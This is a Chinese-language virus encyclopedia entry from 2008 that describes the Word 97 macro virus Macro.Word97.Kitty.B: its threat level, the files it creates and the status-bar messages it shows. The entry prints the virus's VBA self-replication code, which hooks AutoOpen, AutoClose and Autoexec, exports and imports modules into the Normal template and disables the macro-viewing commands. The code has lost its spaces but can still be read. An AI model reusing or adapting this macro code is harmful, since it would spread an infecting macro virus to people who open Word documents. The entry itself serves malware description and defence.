Macro.Word97.Kitty.B

王朝other·作者佚名  2008-08-14
窄屏简体版  字體: |||超大  

病毒名称(中文):

病毒别名:

威胁级别:

★☆☆☆☆

病毒类型:

宏病毒

病毒长度:

影响系统:

其它

病毒行为:

a.病毒复制的方式:

通过模块传染:

SubAutoOpen()

OnErrorResumeNext

IfActiveDocument.VBProject.VBComponents.Item(2).Name=Application.UserInitialsThen

IfDir("c:"+Application.UserInitials)<>Application.UserInitialsThen

ActiveDocument.VBProject.VBComponents.Item(x).Export""c:""+Application.UserInitials

EndIf

Application.OrganizerDeleteSource:=ActiveDocument.FullName,Name:=Application.UserInitials,Object:=wdOrganizerObjectProjectItems

EndIf

Out:

EndSub

SubAutoClose()

OnErrorResumeNext

ActiveDocument.VBProject.VBComponents.Import(""c:""+Application.UserInitials)

ActiveDocument.SaveAsFileName:=ActiveDocument.FullName

EndSub

SubToolsMacro()

EndSub

SubViewVBCode()

EndSub

SubAutoexec()

IfNormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines=0Then

Open"c:v1.bas"ForOutputAs1

Print#1,"AttributeVB_Name="v1"

Print#1,"SubAutoOpen()"

Print#1,"ActiveDocument.VBProject.VBComponents.Import("c:"+Application.UserInitials)

Print#1,"EndSub"

Close1

NormalTemplate.VBProject.VBComponents.Import("c:v1.bas")

EndIf

EndSub

b.病毒感染:

感染前先进行感染判定:

假如只读的Normal模板的代码模块不为空,感染。c.病毒生成磁盘文件:

c.1生成一个c:True/false.bat(True/false由Word处于的非凡模式决定);

c.2以用户名在C:生成文件,如C:Sunboy;

c.3生成模板文件D:MicrosoftOfficeOfficeStartupNormalTemplate。

d.病毒对操作系统或者文件系统进行操作/破坏:

无。e.病毒会对Word、Excel系统进行操作:

对Word系统进行操作:

修改Word标题:

"VicodinES/TNN/CB"

"Loveisunboy"

在状态条上输出信息:

状态条显示15个"VicodinES"

状态条显示12个"VicodinES"

状态条显示10个"VicodinES"

状态条显示yy="VicodinES--->VicodinESVicodinES........"

状态条显示">:-)VicodinES.............."选定已区域上输出信息:

“Lovei”

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航